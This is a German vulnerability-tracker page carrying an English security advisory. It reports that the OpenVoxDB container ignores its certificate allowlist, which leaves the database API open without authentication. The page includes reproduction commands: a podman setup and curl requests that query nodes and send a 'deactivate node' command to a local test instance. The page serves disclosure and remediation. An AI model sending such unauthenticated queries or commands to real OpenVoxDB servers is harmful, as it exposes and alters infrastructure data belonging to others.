← Übersicht Puppet / OpenVox

The ALLOWLIST is not respected, allowing any request to query the OpenVox DB

GHSA-c4wc-g5pp-7wfp

Kritisch · CVSS 9.9 Netzwerk · ohne Login Kein Fix bekannt

Veröffentlicht
22.10.2026 00:54
Zuletzt geändert
22.10.2026
EPSS (30 Tage)
unbekannt
CVSS-Vektor
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:N/SA:N

Beschreibung

Originaltext der Quelle, nicht übersetzt.

### Summary The `OPENVOXDB_CERTIFICATE_ALLOWLIST` variable is not respected, allowing anyone to query the OpenVox DB. This can result in various information disclosure and modification from any external request. ### Details Root Cause: Executing [`/container-entrypoint.d/30-certificate-allowlist.sh`](https://github.com/OpenVoxProject/container-openvoxdb/blob/ef6370dfc2c90495ad2a2ae2e0a5453bd6de23fa/openvoxdb/files/container-entrypoint.d/30-certificate-allowlist.sh) results in a hocon error: ``` ./container-entrypoint.d/30-certificate-allowlist.sh: line 4: /opt/puppetlabs/puppet/lib/ruby/vendor_gems/bin/hocon: No such file or directory ``` Without a generated allowlist file, the PDB command endpoint can be queried unauthenticated. ### Proof of concept This requires a working OpenVox infrastructure to be running using container images. Make any request to the [OpenVoxDB API](https://docs.openvoxproject.org/openvoxdb/latest/api/overview.html). This request should be denied, but instead it succeeds and returns data. This script error can be replicated on v8.15.0: ``` podman run --rm -e OPENVOXDB_CERTIFICATE_ALLOWLIST=example.com --entrypoint /bin/bash ghcr.io/openvoxproject/openvoxdb:8.15.0 -c '/container-entrypoint.d/30-certificate-allowlist.sh; echo $?' ``` To reproduce the behavior and observe information disclosure: ``` ## Set up the infrastructure $ podman network create net_repro $ podman run -d --name pg_repro --network net_repro -e POSTGRES_USER=openvoxdb -e POSTGRES_PASSWORD=openvoxdb -e POSTGRES_DB=openvoxdb docker.io/library/postgres:18-alpine # fix for unrelated issue $ podman exec pg_repro psql -U openvoxdb -c 'CREATE EXTENSION pg_trgm' $ podman run -d --name ovxdb_repro --network net_repro -e USE_OPENVOXSERVER=false -e OPENVOXDB_POSTGRES_HOSTNAME=pg_repro -e OPENVOXDB_CERTIFICATE_ALLOWLIST=example.com -p 127.0.0.1:18080:8080 ghcr.io/openvoxproject/openvoxdb:8.15.0 ## now run the queries that should be rejected $ curl -v http://127.0.0.1:18080/pdb/query/v4/nodes $ curl -v -H 'Content-Type: application/json' -d '{"command":"deactivate node","version":3,"payload":{"certname":"cert_repro"}}' http://127.0.0.1:18080/pdb/cmd/v1 ``` These `curl` command should be rejected, and instead succeed with `200` success codes. Information is disclosed and unauthorized actions are taken. ### Impact A user may request any information from or submit any [command](https://docs.openvoxproject.org/openvoxdb/latest/api/command/v1/commands.html) to OpenVoxDB. This includes facts, catalogs, and reports, meaning that any sensitive data can be disclosed or overwritten. Overwriting a catalog does not lead to enforcement, with the exception of [exported resources](https://docs.openvoxproject.org/openvox/latest/lang_exported.html). ### Credit Thanks to Samuel Soulard and Justin Lussier from genetech.com for discovering and reporting this issue.

Betroffene Pakete im beobachteten Stack

GitHubOpenVoxProject/container-openvoxdb/container-openvoxdbkein Fix bekanntGHSA-c4wc-g5pp-7wfp

Empfohlene Prüfung

  1. Feststellen, ob und in welcher Version die betroffenen Pakete in Ihren Systemen, Images und Abhängigkeiten vorkommen.
  2. Wo eine Fix-Version genannt ist: aktualisieren. Wo nicht: Hersteller-Advisory und Referenzen auf Workarounds prüfen.
  3. Erreichbarkeit beachten: Der Angriffsweg (Netzwerk · ohne Login) ist aus dem CVSS-Vektor abgeleitet.

Diese Seite sagt nichts darüber, ob Ihre Systeme betroffen sind. Das klärt erst eine Prüfung Ihrer Versionen.